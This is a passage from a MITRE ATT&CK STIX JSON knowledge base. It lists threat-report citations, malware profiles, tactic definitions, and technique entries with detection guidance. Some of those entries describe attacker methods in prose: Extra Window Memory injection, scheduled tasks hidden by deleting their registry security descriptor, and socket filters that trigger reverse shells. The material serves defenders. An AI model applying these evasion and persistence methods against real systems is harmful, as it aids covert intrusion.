                    "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Symantec APT28 Oct 2018)"
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                    "description": "(Citation: ESET Sednit Part 2)"
                },
                {
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                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
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                    "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.",
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                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
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                    "source_name": "Symantec APT28 Oct 2018",
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.",
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                    "description": "(Citation: Novetta-Axiom)"
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                    "description": "ASERT. (2015, August). ASERT Threat Intelligence Report \u2013 Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018.",
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                    "description": "Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use \u20183102\u2019 Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/"
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                {
                    "source_name": "ProofPoint GoT 9002 Aug 2017",
                    "description": "Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures"
                },
                {
                    "source_name": "FireEye Sunshop Campaign May 2013",
                    "description": "Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20200302085651/https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html"
                },
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                    "source_name": "FireEye DeputyDog 9002 November 2013",
                    "description": "Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190221032148/http://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html"
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.",
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                {
                    "source_name": "MicroFocus 9002 Aug 2016",
                    "description": "Petrovsky, O. (2016, August 30). \u201c9002 RAT\u201d -- a second building on the left. Retrieved February 20, 2018.",
                    "url": "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ"
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                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
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                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.",
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            "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)",
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                    "external_id": "S0679"
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                {
                    "source_name": "Kaspersky WIRTE November 2021",
                    "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022.",
                    "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044"
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            "description": "[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)",
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            "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)",
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                    "description": "(Citation: FireEye Periscope March 2018)"
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                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
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                    "url": "https://attack.mitre.org/software/S1023",
                    "external_id": "S1023"
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                {
                    "source_name": "Microsoft POLONIUM June 2022",
                    "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.",
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                {
                    "source_name": "Caterpillar WebShell",
                    "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)"
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                    "description": "Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.",
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            "id": "x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0005",
                    "external_id": "TA0005"
                }
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            ],
            "modified": "2025-04-25T14:45:34.581Z",
            "name": "Defense Evasion",
            "description": "The adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics\u2019 techniques are cross-listed here when those techniques include the added benefit of subverting defenses. ",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_shortname": "defense-evasion"
        },
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            "type": "x-mitre-tactic",
            "id": "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0010",
                    "external_id": "TA0010"
                }
            ],
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            ],
            "modified": "2025-04-25T14:45:34.933Z",
            "name": "Exfiltration",
            "description": "The adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they\u2019ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_shortname": "exfiltration"
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            "type": "x-mitre-tactic",
            "id": "x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9",
            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/tactics/TA0007",
                    "external_id": "TA0007"
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            "modified": "2025-04-25T14:45:35.302Z",
            "name": "Discovery",
            "description": "The adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what\u2019s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. ",
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            "x_mitre_shortname": "discovery"
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            "modified": "2024-09-05T18:27:09.070Z",
            "name": "Collection",
            "description": "The adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to either steal (exfiltrate) the data or to use the data to gain more information about the target environment. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_version": "1.1",
            "x_mitre_shortname": "collection",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/tactics/TA0009",
                    "external_id": "TA0009"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "type": "x-mitre-tactic",
            "id": "x-mitre-tactic--d679bca2-e57d-4935-8650-8031c87a4400",
            "created": "2020-09-30T16:11:59.650Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0042",
                    "external_id": "TA0042"
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            ],
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            "modified": "2025-04-25T14:45:35.841Z",
            "name": "Resource Development",
            "description": "The adversary is trying to establish resources they can use to support operations.\n\nResource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_shortname": "resource-development"
        },
        {
            "type": "x-mitre-tactic",
            "id": "x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd6e0592",
            "created": "2020-10-02T14:48:41.809Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0043",
                    "external_id": "TA0043"
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            "modified": "2025-04-25T14:45:36.201Z",
            "name": "Reconnaissance",
            "description": "The adversary is trying to gather information they can use to plan future operations.\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_shortname": "reconnaissance"
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            "type": "x-mitre-tactic",
            "id": "x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0011",
                    "external_id": "TA0011"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-25T14:45:36.561Z",
            "name": "Command and Control",
            "description": "The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_shortname": "command-and-control"
        },
        {
            "type": "x-mitre-tactic",
            "id": "x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0001",
                    "external_id": "TA0001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:45:36.917Z",
            "name": "Initial Access",
            "description": "The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_shortname": "initial-access"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298",
            "created": "2020-01-14T17:18:32.126Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/011",
                    "external_id": "T1055.011"
                },
                {
                    "source_name": "Microsoft Window Classes",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
                },
                {
                    "source_name": "Microsoft GetWindowLong function",
                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
                },
                {
                    "source_name": "Microsoft SetWindowLong function",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                },
                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
                },
                {
                    "source_name": "Microsoft SendNotifyMessage function",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:45:37.275Z",
            "name": "Extra Window Memory Injection",
            "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "created": "2019-11-27T14:58:00.429Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/005",
                    "external_id": "T1053.005"
                },
                {
                    "source_name": "ProofPoint Serpent",
                    "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
                },
                {
                    "source_name": "Defending Against Scheduled Task Attacks in Windows Environments",
                    "description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.",
                    "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments"
                },
                {
                    "source_name": "Twitter Leoloobeek Scheduled Task",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.",
                    "url": "https://x.com/leoloobeek/status/939248813465853953"
                },
                {
                    "source_name": "Tarrask scheduled task",
                    "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"
                },
                {
                    "source_name": "Microsoft Scheduled Task Events Win10",
                    "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
                },
                {
                    "source_name": "TechNet Scheduled Task Events",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
                    "url": "https://technet.microsoft.com/library/dd315590.aspx"
                },
                {
                    "source_name": "Red Canary - Atomic Red Team",
                    "description": "Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
                },
                {
                    "source_name": "SigmaHQ",
                    "description": "Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.",
                    "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"
                },
                {
                    "source_name": "Stack Overflow",
                    "description": "Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.",
                    "url": "https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:01.010Z",
            "name": "Scheduled Task",
            "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ",
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                    "phase_name": "persistence"
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            "x_mitre_contributors": [
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                "Bryan Campbell, @bry_campbell",
                "Zachary Abzug, @ZackDoesML",
                "Selena Larson, @selenalarson",
                "Sittikorn Sangrattanapitak"
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            "x_mitre_detection": "Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Process: Process Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Flow",
                "Scheduled Job: Scheduled Job Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520",
            "created": "2022-09-30T21:18:41.930Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1205/002",
                    "external_id": "T1205.002"
                },
                {
                    "source_name": "exatrack bpf filters passive backdoors",
                    "description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.",
                    "url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"
                },
                {
                    "source_name": "crowdstrike bpf socket filters",
                    "description": "Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.",
                    "url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"
                },
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.",
                    "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
                },
                {
                    "source_name": "haking9 libpcap network sniffing",
                    "description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.",
                    "url": "http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf"
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            "modified": "2025-04-15T23:09:39.651Z",
            "name": "Socket Filters",
            "description": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.",
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            "x_mitre_contributors": [
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                "CrowdStrike"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
            "created": "2017-05-31T21:30:54.176Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1066",
                    "external_id": "T1066"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-25T15:15:04.223Z",
            "name": "Indicator Removal from Tools",
            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.",
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                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",
            "x_mitre_domains": [
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            "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "created": "2020-02-20T21:01:25.428Z",
